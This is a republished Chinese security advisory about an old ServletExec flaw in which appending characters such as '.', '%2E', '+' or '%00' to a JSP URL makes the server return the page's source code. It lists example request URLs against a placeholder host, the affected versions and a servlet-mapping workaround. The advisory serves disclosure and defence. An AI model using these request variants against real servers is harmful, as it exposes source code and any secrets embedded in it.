在HTTP请求中添加特殊字符导致暴露JSP源代码文件

2016-01-29 12:47 62 1 收藏

在HTTP请求中添加特殊字符导致暴露JSP源代码文件,在HTTP请求中添加特殊字符导致暴露JSP源代码文件

【 tulaoshi.com - Java 】

涉及程序:
ServletExec

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/java/)

描述:
在HTTP请求中添加特殊字符导致暴露JSP源代码文件

详细:
Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。

当一个 HTTP 请求中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。
.
%2E
+
%2B

%5C
%20
%00

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/java/)

成功的利用该漏洞将导致泄露指定的JSP文件的源代码

例如:
使用下面的任意一个URL请求将输出指定的JSP文件的源代码:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00

受影响的系统:
Unify eWave ServletExec 3.0c
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
Unify eWave ServletExec 3.0
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4

解决方案:
临时解决办法:
如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将“/”映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 URL 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。

另一种可能就是将*.jsp+、*.jsp.和*.jsp等映射到一个 servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp ”。注意%20被转换成一个空格字符。

来源:http://www.tulaoshi.com/n/20160129/1487567.html

延伸阅读
标签: Java JAVA基础
使用PrintWriter对象即可写Text文件。 请参考以下示例: <%@ page import="java.io.*" % <% String str = "print me"; //always give the path from root. This way it almost always works. String nameOfTextFile = "/usr/anil/imp.txt"; try { PrintWriter pw = new PrintWriter(new FileOutputSt...
标签: Java JAVA基础
软件介绍: Apusic Application Server1.0是Apusic公司开发出的中国第一个完整支持J2EE(Java 2 Platform, Enterprise Edition)的产品。Apusic采用纯Java语言编写,支持EJB1.1,Servlet,JSP,JMS等,支持多种平台。 漏洞描述: Jsp爱好者网站(http://jspbbs.yeah.net)在试用apusic server1.0产品中发现了一个可以泄漏jsp源代码的漏洞。 适用...
手工发送HTTP请求主要是调用System.Net的HttpWebResponse方法手工发送HTTP的GET请求: string strURL = "http://localhost/Play/CH1/Service1.asmx/doSearch?keyword="; strURL +=this.textBox1.Text; System.Net.HttpWebRequest request; //创建一个HTTP请求 request = (System.Net.HttpWebRequest)WebRequest.Create(strURL); //re...
标签: autocad教程
朋友叫我帮忙用Autocad画一个零件的模型,并在图纸底部有相应的文字说明。这些文字中有一些是特殊的字符,如版权符号。 因为Autocad是基于Windows图形界面操作系统的。故我们可利用所见即所用的原则,利用在字处理软件(如Office Word或WPS office)中先输入这些特殊字符,然后再复制并粘贴到Autocad的编辑界面中。 不过这种...
标签: Java JAVA基础
涉及程序: IBM WebSphere Application Server 3.0.2 描述: IBM WebSphere Application Server 3.0.2 存在暴露源代码漏洞 详细: IBM WebSphere Application Server 允许攻击者查看 Web server 根目录以上的所有文件。IBM WebSphere 使用 Java Servlets 处理多种页面类型的分析(如 HTML, JSP, JHTML, 等等)。In addition 不同的 servle...

经验教程

28

收藏

5
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部